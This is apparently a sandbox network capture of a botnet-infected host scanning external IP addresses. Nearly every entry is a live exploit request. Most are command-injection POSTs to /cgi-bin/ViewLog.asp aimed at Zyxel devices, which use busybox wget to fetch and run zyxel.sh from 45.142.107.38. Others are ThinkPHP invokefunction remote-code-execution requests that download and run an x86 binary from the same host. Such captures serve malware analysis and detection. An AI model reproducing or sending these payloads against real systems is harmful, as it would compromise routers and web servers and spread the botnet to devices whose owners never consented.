Mar 4, 2024 15:07:02.777786970 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:03.319041967 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:04.407010078 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:06.614976883 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:10.966995955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:19.670974016 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:38.359138012 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:13.174886942 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	40926	31.136.81.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.778563023 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:03.319041967 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:04.407010078 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:06.614976883 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:10.966995955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:19.670974016 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:38.359138012 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:13.174869061 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	50858	94.122.66.181	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.812652111 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	55946	31.200.97.17	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.812963963 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	39430	95.86.65.46	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:02.817601919 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	37792	94.122.5.88	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:03.386235952 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	58714	94.121.43.61	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:03.386280060 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	36014	94.68.68.37	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:03.937021017 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:04.706366062 CET	464	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 17:10:04 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	36210	85.9.101.103	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:04.201539993 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	48474	95.61.114.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:04.660269022 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	60590	31.200.85.168	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:04.950731039 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	35526	112.175.230.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:05.138447046 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:06.583076000 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:08.283070087 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:11.735016108 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:18.646995068 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:32.214982033 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:00.886965036 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	38598	95.173.180.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:05.362190008 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:06.487023115 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:06.705732107 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:14 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	48754	31.136.2.23	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:05.580667973 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
